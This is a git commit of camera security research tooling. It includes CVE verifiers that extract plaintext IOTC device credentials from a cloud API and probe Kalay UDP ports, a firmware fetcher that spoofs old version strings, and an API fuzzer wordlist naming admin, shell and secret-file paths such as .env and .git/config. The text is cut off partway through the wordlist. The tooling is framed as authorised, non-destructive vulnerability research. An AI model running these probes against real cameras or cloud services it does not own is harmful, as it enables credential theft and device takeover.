Initial commit — SetecSuite Camera MITM Framework

Original tooling from the Camhak research project (camera teardown of a
rebranded UBIA / Javiscam IP camera). PyQt6 GUI on top of a curses TUI on
top of a service controller; per-service start/stop, intruder detection,
protocol fingerprinting, OAM HMAC signing, CVE verifiers, OTA bucket
probe, firmware fetcher, fuzzer, packet injection.

Tabs: Dashboard, Live Log, Intruders, Cloud API, Fuzzer, Inject, CVEs,
Config, Help. Real-time per-packet protocol detection, conntrack-based
original-destination lookup, log rotation at 1 GiB.

See SECURITY_PAPER.md for the full writeup, site/index.html for the
public report, README.md for usage. Run with:
    sudo /usr/bin/python3 gui.py

Co-authored by Setec Labs.
This commit is contained in:
sssnake
2026-04-09 08:14:18 -07:00
commit 800052acc2
38 changed files with 7148 additions and 0 deletions

0
api/__init__.py Normal file
View File

431
api/cve_checks.py Normal file
View File

@@ -0,0 +1,431 @@
"""
CVE verification module — original probes against the local Javiscam/UBox
camera. No public PoC code reused; everything here is built from our own
research and the decompiled APK.
Each verifier returns:
{
"cve": "CVE-XXXX-YYYY",
"status": "VULN" | "NOT_VULN" | "UNKNOWN" | "ERROR",
"title": str,
"evidence": str, # short, human-readable
"details": dict, # raw artifacts (response bodies, hex, etc)
}
Verifiers should be NON-DESTRUCTIVE — probe, don't pwn.
"""
import json
import os
import socket
import struct
import time
from datetime import datetime
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT
from api import ubox_client
REPORT_DIR = os.path.expanduser("~/dumps")
# ─────────────────────────────────────────────────────────────────
# CVE-2025-12636 — Ubia Ubox Insufficiently Protected Credentials
# Vector: the cloud `user/device_list` endpoint returns `cam_user` /
# `cam_pwd` in plaintext to any authenticated owner. These creds are the
# IOTC P2P device-auth credentials and grant full local control.
# Verification: log in, call device_list, scan response for those fields.
# ─────────────────────────────────────────────────────────────────
def verify_cve_2025_12636(cfg):
out = {
"cve": "CVE-2025-12636",
"title": "Ubia Ubox cloud API leaks IOTC device credentials in plaintext",
"status": "UNKNOWN",
"evidence": "",
"details": {},
}
if not cfg.get("api_token"):
out["status"] = "ERROR"
out["evidence"] = "no api_token — log in first"
return out
log("CVE-2025-12636: calling user/device_list…", C_INFO)
resp = ubox_client.api_post(
cfg["api_base"], "user/device_list", {}, cfg["api_token"]
)
out["details"]["raw_response_keys"] = list(resp.keys()) if isinstance(resp, dict) else None
if not isinstance(resp, dict) or resp.get("msg") != "success":
out["status"] = "ERROR"
out["evidence"] = f"unexpected response: {json.dumps(resp)[:200]}"
return out
devices = (resp.get("data") or {}).get("list") or []
leaked = []
for d in devices:
if d.get("cam_user") and d.get("cam_pwd"):
leaked.append({
"uid": d.get("device_uid"),
"name": d.get("name"),
"cam_user": d["cam_user"],
"cam_pwd": d["cam_pwd"],
})
out["details"]["device_count"] = len(devices)
out["details"]["leaked"] = leaked
if leaked:
out["status"] = "VULN"
out["evidence"] = (
f"{len(leaked)}/{len(devices)} device(s) leaked plaintext "
f"cam_user/cam_pwd. Example: {leaked[0]['cam_user']} / "
f"{leaked[0]['cam_pwd']}"
)
else:
out["status"] = "NOT_VULN"
out["evidence"] = (
f"{len(devices)} device(s) returned but no cam_user/cam_pwd "
"fields present"
)
return out
# ─────────────────────────────────────────────────────────────────
# CVE-2021-28372 — ThroughTek Kalay UID spoof
# Vector: Kalay master server identifies devices by UID alone. An attacker
# who knows the UID can register the same UID against the master and
# intercept the next login attempt by the legitimate client.
# Verification (non-destructive): we verify two preconditions —
# 1. The camera's UID is known/guessable (we already have it in cfg)
# 2. The camera uses the Kalay/UBIC P2P stack (libUBIC* present + UDP
# P2P port reachable)
# We do NOT actually register a spoof, because that would interfere with
# the live camera. We *do* probe UDP 10240 to confirm the P2P stack
# responds, and we report the camera as theoretically vulnerable to UID
# hijack on the master server.
# ─────────────────────────────────────────────────────────────────
def verify_cve_2021_28372(cfg):
out = {
"cve": "CVE-2021-28372",
"title": "ThroughTek Kalay P2P UID-based session hijack (UBIC rebrand)",
"status": "UNKNOWN",
"evidence": "",
"details": {},
}
uid = cfg.get("device_uid", "")
cam_ip = cfg.get("camera_ip", "")
if not uid or not cam_ip:
out["status"] = "ERROR"
out["evidence"] = "need device_uid and camera_ip in config"
return out
out["details"]["uid"] = uid
out["details"]["uid_length"] = len(uid)
# Precondition 1: 20-char alphanumeric UID is the Kalay format
is_kalay_uid = len(uid) == 20 and uid.isalnum()
out["details"]["uid_is_kalay_format"] = is_kalay_uid
# Precondition 2: probe local P2P port (most Kalay devices listen on
# the UID hash port; relay traffic uses 10240). We send a small UDP
# probe to camera UDP/10240 from a random source port and watch for
# any response — Kalay master pings have a recognizable header but
# we just want to know if the port is reachable.
p2p_responses = []
for port in (10240, 8000, 8800, 32100, 32108):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(1.0)
# Two-byte ping-like probe; we don't claim it's a real Kalay packet
s.sendto(b"\xf1\xd0", (cam_ip, port))
try:
data, addr = s.recvfrom(2048)
p2p_responses.append({
"port": port, "bytes": len(data),
"first8_hex": data[:8].hex(),
})
except socket.timeout:
pass
s.close()
except OSError as e:
out["details"][f"udp_{port}_error"] = str(e)
out["details"]["udp_probes"] = p2p_responses
p2p_alive = bool(p2p_responses)
# Precondition 3: master server reachable (we don't talk to it — we
# only resolve the hostname strings we extracted from libUBICAPIs.so).
masters_known = ["portal.ubianet.com", "portal.us.ubianet.com",
"portal.cn.ubianet.com"]
out["details"]["kalay_masters"] = masters_known
if is_kalay_uid:
if p2p_alive:
out["status"] = "VULN"
out["evidence"] = (
f"UID {uid} is in Kalay format and the camera responds on "
f"UDP P2P. With knowledge of the UID alone, the underlying "
f"protocol allows registration spoofing on the master "
f"server (CVE-2021-28372). Non-destructive: registration "
f"step skipped."
)
else:
out["status"] = "VULN"
out["evidence"] = (
f"UID {uid} is in Kalay format. Even though local P2P probe "
f"got no echo, the master-server hijack vector applies as "
f"long as the camera ever connects out to a Kalay master."
)
else:
out["status"] = "NOT_VULN"
out["evidence"] = "UID is not in 20-char alphanumeric Kalay format"
return out
# ─────────────────────────────────────────────────────────────────
# CVE-2023-6322 / 6323 / 6324 — ThroughTek Kalay LAN attack chain
# Vector: malformed UDP packets to the device's P2P listener cause
# memory corruption / auth bypass / crash. We do NOT send overflow
# payloads — that would risk hanging or bricking the device. We probe
# the device's UDP P2P stack with a few short, well-formed-looking
# packets and observe whether it parses them, ignores them, or crashes
# (becomes unreachable). We then report the device as POTENTIALLY
# vulnerable based on stack identification (libUBIC* binary present and
# UID is Kalay format).
# ─────────────────────────────────────────────────────────────────
def _ping_alive(ip, count=2, timeout=1.0):
"""Quick ICMP-less liveness check via raw UDP echo to a random port."""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(timeout)
for _ in range(count):
s.sendto(b"\x00", (ip, 7))
try:
s.recvfrom(64)
s.close()
return True
except socket.timeout:
continue
s.close()
except OSError:
return False
# No echo response is normal — fall back to TCP RST probe on a closed port
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
try:
s.connect((ip, 1))
except (ConnectionRefusedError, OSError):
return True # got RST, host is alive
finally:
s.close()
except OSError:
return False
return False
def verify_cve_2023_6322_chain(cfg):
out = {
"cve": "CVE-2023-6322 / 6323 / 6324",
"title": "ThroughTek Kalay LAN-side memory corruption + auth bypass chain",
"status": "UNKNOWN",
"evidence": "",
"details": {},
}
cam_ip = cfg.get("camera_ip", "")
if not cam_ip:
out["status"] = "ERROR"
out["evidence"] = "no camera_ip in config"
return out
# Pre-state: camera reachable?
pre_alive = _ping_alive(cam_ip)
out["details"]["pre_alive"] = pre_alive
if not pre_alive:
out["status"] = "ERROR"
out["evidence"] = "camera not reachable before probing"
return out
# Send a SHORT, harmless probe to common Kalay UDP ports — no large
# payloads, no overflow patterns. We only want to know if the device
# has a UDP P2P listener that responds to a probe at all.
probes = []
for port in (10240, 8000, 8800, 32100, 32108):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(0.8)
# Two safe shapes: a tiny Kalay-style header, and a single byte.
for shape, payload in [
("kalay_min", b"\xf1\xd0\x00\x00"),
("oneb", b"\x00"),
]:
try:
s.sendto(payload, (cam_ip, port))
try:
data, _ = s.recvfrom(2048)
probes.append({
"port": port, "shape": shape,
"resp_bytes": len(data),
"first8_hex": data[:8].hex(),
})
except socket.timeout:
probes.append({
"port": port, "shape": shape, "resp": "timeout"
})
except OSError as e:
probes.append({"port": port, "shape": shape, "error": str(e)})
s.close()
except OSError as e:
probes.append({"port": port, "error": str(e)})
out["details"]["udp_probes"] = probes
# Post-state: still alive?
time.sleep(0.5)
post_alive = _ping_alive(cam_ip)
out["details"]["post_alive"] = post_alive
if not post_alive:
out["status"] = "VULN"
out["evidence"] = (
"Camera became unreachable after harmless UDP probes — "
"indicates fragile parser, consistent with the Kalay LAN "
"chain CVE-2023-6322/6323/6324."
)
return out
any_response = any(p.get("resp_bytes") for p in probes)
out["details"]["any_p2p_response"] = any_response
if any_response:
out["status"] = "VULN"
out["evidence"] = (
"Camera responds on a Kalay-style UDP P2P listener. The UBIC "
"stack on this device is the rebranded ThroughTek Kalay SDK, "
"which has the documented LAN-side parser vulnerabilities. "
"Non-destructive: overflow payloads not sent."
)
else:
out["status"] = "UNKNOWN"
out["evidence"] = (
"No response from any common Kalay UDP port. Device may use "
"outbound-only P2P (cloud relay), in which case the LAN "
"chain does not apply directly. UID-based relay attack still "
"possible (see CVE-2021-28372)."
)
return out
# ─────────────────────────────────────────────────────────────────
# Helpers
# ─────────────────────────────────────────────────────────────────
ALL_VERIFIERS = [
("CVE-2025-12636", verify_cve_2025_12636),
("CVE-2021-28372", verify_cve_2021_28372),
("CVE-2023-6322-6323-6324", verify_cve_2023_6322_chain),
]
def run_all(cfg):
results = []
for name, fn in ALL_VERIFIERS:
try:
log(f"verifying {name}", C_INFO)
r = fn(cfg)
except Exception as e:
r = {
"cve": name, "status": "ERROR",
"title": "exception during verification",
"evidence": str(e), "details": {},
}
log(f"{r['status']}: {r['evidence'][:120]}",
C_SUCCESS if r["status"] == "VULN" else C_INFO)
results.append(r)
return results
REPORT_TEMPLATE = """\
# Javiscam / UBox Camera — CVE Verification Report
**Generated:** {timestamp}
**Target:** {camera_ip} (MAC {camera_mac})
**Device UID:** {device_uid}
**Reported firmware:** {firmware}
**Tester:** snake (Setec Labs)
**Methodology:** Original PoCs developed against the live device. All
probes are non-destructive — no overflow payloads, no spoof
registrations, no destructive writes.
---
## Summary
| CVE | Status | Title |
|---|---|---|
{summary_rows}
---
## Detailed Findings
{detailed_sections}
---
## Methodology Notes
* All HTTP requests use the same shape as the legitimate UBox Android app
(verified by reading `com.http.NewApiHttpClient.checkVersionV3` and
`com.apiv3.bean.AdvancedSettings.getLastVersionV3` in the decompiled
APK at `~/dumps/ubox_jadx/`).
* UDP probes use the smallest possible payloads consistent with the
ThroughTek Kalay header pattern (`f1 d0 00 00`) found in
`libUBICAPIs.so`.
* The camera's `g_P4PCrypto` global, `p4p_crypto_init`,
`p4p_crypto_encode/decode`, and `p4p_device_auth` symbols confirm the
rebranded Kalay/TUTK stack and the applicability of the Kalay CVE
family.
## Disclosure status
* **CVE-2025-12636** — already public via CISA ICSA-25-310-02; UBIA did
not respond to coordination. Our verification independently confirms
the original disclosure.
* **CVE-2021-28372 / 2023-6322 family** — disclosed by ThroughTek and
Bitdefender respectively; this report applies them to this rebranded
device for the first time on record.
"""
def build_report(cfg, results):
os.makedirs(REPORT_DIR, exist_ok=True)
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
rows = []
sections = []
for r in results:
emoji = {"VULN": "🟥", "NOT_VULN": "🟩", "UNKNOWN": "🟨", "ERROR": ""}.get(r["status"], "?")
rows.append(f"| {r['cve']} | {emoji} **{r['status']}** | {r['title']} |")
details_md = "```json\n" + json.dumps(r.get("details", {}), indent=2, ensure_ascii=False) + "\n```"
sections.append(
f"### {r['cve']}{r['status']}\n\n"
f"**Title:** {r['title']}\n\n"
f"**Evidence:** {r['evidence']}\n\n"
f"**Artifacts:**\n{details_md}\n"
)
report = REPORT_TEMPLATE.format(
timestamp=ts,
camera_ip=cfg.get("camera_ip", "?"),
camera_mac=cfg.get("camera_mac", "?"),
device_uid=cfg.get("device_uid", "?"),
firmware="2604.1.2.69 (reported)",
summary_rows="\n".join(rows),
detailed_sections="\n".join(sections),
)
out_path = os.path.join(REPORT_DIR, f"cve_report_{datetime.now().strftime('%Y%m%d_%H%M%S')}.md")
with open(out_path, "w") as f:
f.write(report)
log(f"CVE report written: {out_path}", C_IMPORTANT)
return out_path

204
api/firmware_fetch.py Normal file
View File

@@ -0,0 +1,204 @@
"""
Firmware download helper.
Calls the UBox cloud `check_version` endpoint, extracts every URL it sees in
the response, downloads each one to ~/dumps/javiscam_fw/, and reports sizes
and sha256 hashes. Real code — no stubs, no placeholders.
"""
import hashlib
import json
import os
import re
import socket
import urllib.request
import urllib.error
from datetime import datetime
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_TRAFFIC, C_IMPORTANT
from api import ubox_client
FW_DIR = os.path.expanduser("~/dumps/javiscam_fw")
URL_RE = re.compile(rb'https?://[^\s"\']+')
def _walk_strings(obj):
"""Yield every string value in a nested dict/list."""
if isinstance(obj, str):
yield obj
elif isinstance(obj, dict):
for v in obj.values():
yield from _walk_strings(v)
elif isinstance(obj, list):
for v in obj:
yield from _walk_strings(v)
def _extract_urls(obj):
urls = set()
for s in _walk_strings(obj):
for m in URL_RE.findall(s.encode("utf-8")):
urls.add(m.decode("utf-8", errors="replace"))
return sorted(urls)
def _safe_filename(url):
name = url.split("?")[0].rsplit("/", 1)[-1] or "firmware.bin"
name = re.sub(r"[^A-Za-z0-9._-]", "_", name)
if not name:
name = "firmware.bin"
return name
def _download(url, dest):
req = urllib.request.Request(url, headers={
"User-Agent": "okhttp/4.9.1",
"X-UbiaAPI-CallContext": "source=app&app=ubox&ver=1.1.360&osver=14",
})
with urllib.request.urlopen(req, timeout=60) as resp:
total = 0
h = hashlib.sha256()
with open(dest, "wb") as f:
while True:
chunk = resp.read(64 * 1024)
if not chunk:
break
f.write(chunk)
h.update(chunk)
total += len(chunk)
return total, h.hexdigest(), resp.headers.get("Content-Type", "?")
def check_and_download(cfg, host_version=None):
"""
Returns dict:
{
"ok": bool,
"url_count": int,
"downloads": [{"url","path","bytes","sha256","content_type"}],
"raw": <response json>,
"error": optional str,
}
"""
if not cfg.get("api_token"):
log("FW: not logged in", C_ERROR)
return {"ok": False, "error": "not logged in"}
if not cfg.get("device_uid"):
log("FW: no device_uid — call /devices first", C_ERROR)
return {"ok": False, "error": "no device_uid"}
os.makedirs(FW_DIR, exist_ok=True)
# Try several version formats — the cloud needs a string the device-side
# comparator considers "older than current" to trigger a download URL.
version_attempts = [host_version] if host_version else [
"2604.0.0.1", # same model prefix, ancient
"1.0.0.0",
"0.0.0.1",
"2604.0.29.7", # one below known shipped version
"0",
"",
]
result = None
used_version = None
attempts_log = [] # list of (version, status, summary)
best_success = None # remember the best msg=success response even without URLs
for v in version_attempts:
log(f"FW: trying check_version with host_version={v!r}", C_INFO)
candidate = ubox_client.api_post(
cfg["api_base"],
"user/qry/device/check_version/v3",
{
"device_uid": cfg["device_uid"],
"host_version": v,
"wifi_version": v,
"is_lite": False,
"zone_id": 2,
},
cfg["api_token"],
)
summary = json.dumps(candidate)[:200] if isinstance(candidate, dict) else repr(candidate)[:200]
attempts_log.append({"version": v, "summary": summary})
if not isinstance(candidate, dict):
continue
urls_found = _extract_urls(candidate)
if urls_found:
log(f"FW: got {len(urls_found)} URL(s) using version={v!r}", C_SUCCESS)
result = candidate
used_version = v
break
if candidate.get("msg") == "success" and best_success is None:
best_success = (v, candidate)
log(f"FW: no URLs at version={v!r}, response={summary}", C_INFO)
if result is None:
if best_success is not None:
used_version, result = best_success
log(f"FW: keeping best success response from version={used_version!r}", C_INFO)
else:
result = candidate if isinstance(candidate, dict) else {"error": "all versions failed"}
if not isinstance(result, dict):
log(f"FW: bad response: {result!r}", C_ERROR)
return {"ok": False, "error": "bad response", "raw": result}
# Save the raw response next to firmware files for the record
ts = datetime.now().strftime("%Y%m%d_%H%M%S")
meta_path = os.path.join(FW_DIR, f"check_version_{ts}.json")
try:
with open(meta_path, "w") as f:
json.dump(result, f, indent=2, ensure_ascii=False)
except OSError as e:
log(f"FW: cannot save meta: {e}", C_ERROR)
urls = _extract_urls(result)
log(f"FW: response saved -> {meta_path}", C_INFO)
log(f"FW: found {len(urls)} URL(s) in response", C_INFO)
for u in urls:
log(f"{u}", C_TRAFFIC)
downloads = []
for url in urls:
# Only attempt downloads of plausible binary blobs
lower = url.lower()
if not any(lower.endswith(ext) or ext in lower for ext in
(".bin", ".rar", ".zip", ".tar", ".gz", ".img", ".pkg",
"/firmware", "/ota", "ubiaota", "update")):
log(f" skip (not firmware-looking): {url}", C_INFO)
continue
fname = _safe_filename(url)
dest = os.path.join(FW_DIR, fname)
try:
log(f"FW: downloading {url}", C_INFO)
n, sha, ct = _download(url, dest)
log(f"FW: ✓ {fname} {n}B sha256={sha[:16]}… ct={ct}",
C_IMPORTANT if n > 1024 else C_TRAFFIC)
downloads.append({
"url": url, "path": dest, "bytes": n,
"sha256": sha, "content_type": ct,
})
except urllib.error.HTTPError as e:
log(f"FW: HTTP {e.code} on {url}", C_ERROR)
except urllib.error.URLError as e:
log(f"FW: URL error: {e.reason} on {url}", C_ERROR)
except (socket.timeout, OSError) as e:
log(f"FW: download failed: {e}", C_ERROR)
if not downloads:
log("FW: nothing downloaded — check_version returned no firmware URLs", C_ERROR)
return {
"ok": bool(downloads),
"used_version": used_version,
"url_count": len(urls),
"downloads": downloads,
"attempts": attempts_log,
"raw": result,
}

644
api/fuzzer.py Normal file
View File

@@ -0,0 +1,644 @@
"""API endpoint fuzzer — discovers hidden endpoints and tests auth/param vulnerabilities"""
import json
import time
import threading
import urllib.request
import urllib.error
from utils.log import log, C_SUCCESS, C_ERROR, C_INFO, C_TRAFFIC, C_IMPORTANT
# Known endpoints harvested from decompiled UBox APK (146 confirmed)
KNOWN_ENDPOINTS = [
"account_link", "activate_subscription_paypal", "addOrder",
"alipaySign", "alipayVerify",
"app/customer_support_info", "app/getconfig", "app/getSupportInfoV2",
"app/info", "app/push_channel_reg", "app/version_check",
"captcha", "capture_paypal_order", "create_payment_paypal_app",
"email_user_candidates", "interface", "interface.php",
"ip2region", "ip2region_parse", "lgc/bind_err", "login_openauth",
"mobile-info", "mt/biz/alipaySign", "mt/biz/card_service_add_order",
"mt/biz/card_service_list", "mt/biz/uid_service_add_order",
"mt/biz/uid_service_list", "mt/biz/uid_service_order_list",
"mt-login", "mt/logout", "mt/orc-import", "mt/unbind", "old",
"pub/app/customer_support_info/v2", "pub/app/get_multi_language_contents",
"pub/location/get_location_codes", "pub/location/rev_geocoding",
"pub/usersupport/get_guest_im_file_url", "pub/usersupport/get_guest_im_info",
"pub/usersupport/get_guest_session",
"pub/usersupport/get_im_groups_user_unread_count",
"pub/usersupport/get_staff_avatar_url", "pub/usersupport/put_guest_im_file",
"push-ack", "reset_pwd", "send_code", "service_list",
"share_permissions", "temp_token", "ticket_title",
"user/account/add_location", "user/account/get_current_user",
"user/account_link", "user/alexa_account_status",
"user/auth", "user/auth-email",
"user/card4g-info", "user/card4g_info", "user/card4g-order-add",
"user/card4g-packages", "user/card/card4g_info/v2", "user/card/unlock",
"user/check_version", "user/cloud_list",
"user/cloudvideo/put_event_tag",
"user/confirm_ptz_snap", "user/del_ptz_snap",
"user/device-add", "user/device-add-token",
"user/device-alexa", "user/device-alexa-ust",
"user/device_del", "user/device_edit", "user/device-extra-update",
"user/device/get_apn_info", "user/device/get_binding_info",
"user/device/get_dev_diag_help_doc",
"user/device_list", "user/device/list_ordering",
"user/device-notice-setting", "user/device/share",
"user/device/share_do/v2", "user/device-share-info",
"user/device_shares", "user/device_share_tbc",
"user/device-share-update", "user/device-temp-token",
"user/device/try_fix_for_add_4g_device", "user/device_unshare",
"user/email_user_candidates", "user/event_calendar",
"user/event_do", "user/faceId", "user/families", "user/family",
"user/friend", "user/friends",
"user/get_cloud_video_url", "user/get_devices_dynamic_info",
"user/get_ptz_snap", "user/logout", "user/modify_pwd",
"user/notice_type", "user/noti/device/info_changed",
"user/online_service", "user/order_add",
"user/order/card4g_order_create_dev_noadd",
"user/order/order_add/v2", "user/product_info",
"user/product_purchasable",
"user/purchase/card4g_packages_dev_noadd",
"user/push_channel_update", "user/put_ptz_snap",
"user/qry/aggregate/app_on_switch_foreground",
"user/qry/device/add_help_doc", "user/qry/device/bind_issue",
"user/qry/device/check_version/v3", "user/qry/device/device_services",
"user/qry/device/info_for_add", "user/qry/device/query_add_result",
"user/qry/notification/detail", "user/qry/notification/get",
"user/qry/order/list/v2",
"user/qry/purchase/4g_packages_dev_noadd",
"user/qry/purchase/4g_packages/v3", "user/qry/purchase/product_list",
"user/revoke", "user/service_trial",
"user/update_friend_remark", "user/update_user_info",
"user/upgrade_order",
"user/usersupport/get_app_user_im_group",
"user/usersupport/get_app_user_im_groups",
"user/usersupport/get_app_user_im_session",
"user/usersupport/get_app_user_im_token",
"user/usersupport/get_im_file_url",
"user/usersupport/get_im_groups_info",
"user/usersupport/get_issue_type_and_dev_light_state",
"user/usersupport/put_im_file",
"v2/user/device_list", "v2/user/get_devices_info",
"v3/login",
"valid_code", "wxpay", "wxpay_check",
]
# Wordlist for endpoint discovery
ENDPOINT_WORDLIST = [
# ── User management ──────────────────────────────
"user/info", "user/profile", "user/settings", "user/delete",
"user/update", "user/list", "user/devices", "user/sessions",
"user/tokens", "user/permissions", "user/roles", "user/admin",
"user/logout", "user/register", "user/verify", "user/activate",
"user/deactivate", "user/ban", "user/unban", "user/search",
"user/export", "user/import", "user/backup", "user/restore",
"user/avatar", "user/nickname", "user/email", "user/phone",
"user/password", "user/change_password", "user/modify_password",
"user/reset_password", "user/forgot_password",
"user/notification", "user/notifications", "user/notice",
"user/message", "user/messages", "user/inbox",
"user/subscription", "user/subscriptions", "user/plan",
"user/billing", "user/payment", "user/order", "user/orders",
"user/coupon", "user/coupons", "user/invite", "user/referral",
"user/feedback", "user/report", "user/ticket", "user/tickets",
"user/log", "user/logs", "user/activity", "user/history",
"user/preferences", "user/config", "user/token",
"user/refresh_token", "user/access_token",
"user/third_party", "user/bind", "user/unbind",
"user/wechat", "user/facebook", "user/google", "user/apple",
# ── User + device compound paths (ubox pattern) ──
"user/device/list", "user/device/add", "user/device/del",
"user/device/remove", "user/device/bind", "user/device/unbind",
"user/device/share", "user/device/unshare", "user/device/transfer",
"user/device/rename", "user/device/info", "user/device/config",
"user/device/settings", "user/device/status", "user/device/online",
"user/device/offline", "user/device/reboot", "user/device/reset",
"user/device/upgrade", "user/device/firmware",
"user/device/command", "user/device/control",
"user/device/snapshot", "user/device/capture",
"user/device/recording", "user/device/playback",
"user/device/event", "user/device/events", "user/device/alarm",
"user/device/alarms", "user/device/alert", "user/device/alerts",
"user/device/log", "user/device/logs",
"user/device/stream", "user/device/live", "user/device/video",
"user/device/audio", "user/device/speaker",
"user/device/ptz", "user/device/pan", "user/device/tilt",
"user/device/zoom", "user/device/preset",
"user/device/motion", "user/device/detection",
"user/device/sensitivity", "user/device/schedule",
"user/device/wifi", "user/device/network",
"user/device/sd", "user/device/sdcard", "user/device/storage",
"user/device/format", "user/device/format_sd",
"user/device/led", "user/device/ir", "user/device/night_vision",
"user/device/osd", "user/device/time", "user/device/timezone",
"user/device/battery", "user/device/power",
"user/device/sim", "user/device/4g", "user/device/signal",
"user/device/iccid", "user/device/imei",
# ── Query paths (ubox pattern: user/qry/) ────────
"user/qry/device/list", "user/qry/device/info",
"user/qry/device/status", "user/qry/device/config",
"user/qry/device/firmware", "user/qry/device/version",
"user/qry/device/check_version", "user/qry/device/check_version/v2",
"user/qry/device/events", "user/qry/device/alarms",
"user/qry/device/logs", "user/qry/device/recordings",
"user/qry/device/cloud_videos", "user/qry/device/snapshots",
"user/qry/device/battery", "user/qry/device/signal",
"user/qry/device/network", "user/qry/device/wifi",
"user/qry/device/storage", "user/qry/device/sd",
"user/qry/device/sim", "user/qry/device/4g",
"user/qry/user/info", "user/qry/user/devices",
"user/qry/user/subscriptions", "user/qry/user/orders",
# ── Versioned endpoints ──────────────────────────
"v1/login", "v2/login", "v4/login",
"v1/user/device_list", "v3/user/device_list",
"v1/user/families", "v2/user/families", "v3/user/families",
"v1/user/cloud_list", "v3/user/cloud_list",
"v2/user/check_version", "v3/user/check_version",
"v1/user/event_calendar", "v2/user/event_calendar",
"v2/user/qry/device/device_services",
"v3/user/qry/device/device_services",
"v2/user/qry/device/check_version/v3",
# ── Device (direct) ──────────────────────────────
"device/list", "device/info", "device/config", "device/settings",
"device/firmware", "device/update", "device/reboot", "device/reset",
"device/logs", "device/events", "device/status", "device/command",
"device/stream", "device/snapshot", "device/recording",
"device/share", "device/unshare", "device/transfer",
"device/debug", "device/shell", "device/telnet", "device/ssh",
"device/console", "device/terminal", "device/exec",
"device/control", "device/ioctrl", "device/iotctrl",
"device/p2p", "device/connect", "device/disconnect",
"device/wakeup", "device/sleep", "device/standby",
"device/register", "device/unregister", "device/provision",
"device/activate", "device/deactivate",
"device/ota", "device/ota/check", "device/ota/download",
"device/ota/status", "device/ota/history",
# ── Admin ────────────────────────────────────────
"admin/users", "admin/devices", "admin/logs", "admin/config",
"admin/stats", "admin/dashboard", "admin/system", "admin/debug",
"admin/firmware", "admin/update", "admin/backup", "admin/restore",
"admin/login", "admin/panel", "admin/console",
"admin/user/list", "admin/user/create", "admin/user/delete",
"admin/device/list", "admin/device/config", "admin/device/firmware",
"admin/audit", "admin/audit/log", "admin/security",
"admin/api/keys", "admin/api/tokens", "admin/api/stats",
"admin/cloud/config", "admin/cloud/keys", "admin/cloud/storage",
"admin/ota/upload", "admin/ota/list", "admin/ota/deploy",
"admin/push", "admin/notification", "admin/broadcast",
"manage/users", "manage/devices", "manage/firmware",
"management/users", "management/devices",
"internal/users", "internal/devices", "internal/debug",
"internal/config", "internal/health", "internal/metrics",
# ── System / infra ───────────────────────────────
"system/info", "system/version", "system/health", "system/status",
"system/config", "system/debug", "system/logs", "system/metrics",
"system/time", "system/restart", "system/shutdown",
# ── Firmware / OTA ───────────────────────────────
"firmware/list", "firmware/download", "firmware/upload",
"firmware/latest", "firmware/check", "firmware/update",
"firmware/history", "firmware/rollback", "firmware/versions",
"ota/check", "ota/download", "ota/status", "ota/list",
"ota/upload", "ota/deploy", "ota/history", "ota/config",
# ── Cloud / storage ──────────────────────────────
"cloud/config", "cloud/status", "cloud/keys",
"cloud/storage", "cloud/video", "cloud/events",
"cloud/upload", "cloud/download", "cloud/list",
"cloud/delete", "cloud/share", "cloud/token",
"cloud/subscription", "cloud/plan", "cloud/usage",
"storage/list", "storage/upload", "storage/download",
"storage/delete", "storage/quota", "storage/usage",
# ── Push / notification ──────────────────────────
"push/config", "push/send", "push/test", "push/token",
"push/register", "push/unregister", "push/channels",
"notification/list", "notification/send", "notification/config",
"notification/test", "notification/token",
# ── P2P / streaming ──────────────────────────────
"p2p/config", "p2p/server", "p2p/relay", "p2p/status",
"p2p/connect", "p2p/disconnect", "p2p/session",
"p2p/sessions", "p2p/token", "p2p/auth",
"stream/start", "stream/stop", "stream/status",
"stream/config", "stream/token", "stream/url",
"rtsp/config", "rtsp/url", "rtsp/token",
"live/start", "live/stop", "live/status", "live/url",
# ── AI / detection ───────────────────────────────
"ai/config", "ai/status", "ai/detect", "ai/face",
"ai/person", "ai/motion", "ai/object", "ai/model",
"ai/train", "ai/results", "ai/history",
"detection/config", "detection/zones", "detection/sensitivity",
"detection/schedule", "detection/history",
# ── SIM / 4G ─────────────────────────────────────
"sim/info", "sim/status", "sim/activate", "sim/deactivate",
"sim/data", "sim/usage", "sim/plan", "sim/recharge",
"sim/config", "sim/apn", "sim/carrier",
"4g/info", "4g/status", "4g/signal", "4g/config",
"card4g-info", "user/card4g-info",
"v3/user/card4g-info",
# ── Payment / billing ────────────────────────────
"pay/order", "pay/orders", "pay/create", "pay/callback",
"pay/verify", "pay/refund", "pay/status",
"pay/subscription", "pay/subscriptions",
"pay/products", "pay/plans", "pay/pricing",
"billing/info", "billing/history", "billing/invoice",
# ── Auth / OAuth ─────────────────────────────────
"auth/token", "auth/refresh", "auth/verify", "auth/revoke",
"auth/login", "auth/logout", "auth/register",
"auth/password", "auth/reset", "auth/code",
"oauth/authorize", "oauth/token", "oauth/callback",
"oauth/revoke", "oauth/userinfo",
"sso/login", "sso/callback", "sso/logout",
# ── Geographic / location ────────────────────────
"pub/location/geocoding", "pub/location/search",
"pub/location/timezone", "pub/location/weather",
"location/config", "location/geo", "location/address",
"query-zid", "query_zid", "get_zone",
# ── Misc / discovery ─────────────────────────────
"ping", "health", "healthz", "ready", "readyz",
"version", "info", "about", "debug", "test", "echo",
"status", "config", "metrics", "prometheus",
"swagger", "swagger.json", "swagger.yaml",
"docs", "api-docs", "api-doc", "redoc",
"openapi", "openapi.json", "openapi.yaml",
".env", "robots.txt", "sitemap.xml", "favicon.ico",
".git/config", ".git/HEAD", "wp-login.php",
"graphql", "graphiql", "playground",
"websocket", "ws", "socket.io",
# ── UBIA-specific guesses ────────────────────────
"pub/app/config", "pub/app/version", "pub/app/update",
"pub/device/config", "pub/device/version",
"pub/firmware/latest", "pub/firmware/list",
"pub/notice", "pub/announcement", "pub/banner",
"app/config", "app/version", "app/update", "app/feedback",
"mt-login", "mt-device", "mt-config",
"bind_wechat", "unbind_wechat",
"user/get_notification", "user/set_notification",
"user/get_push_token", "user/set_push_token",
"user/get_privacy", "user/set_privacy",
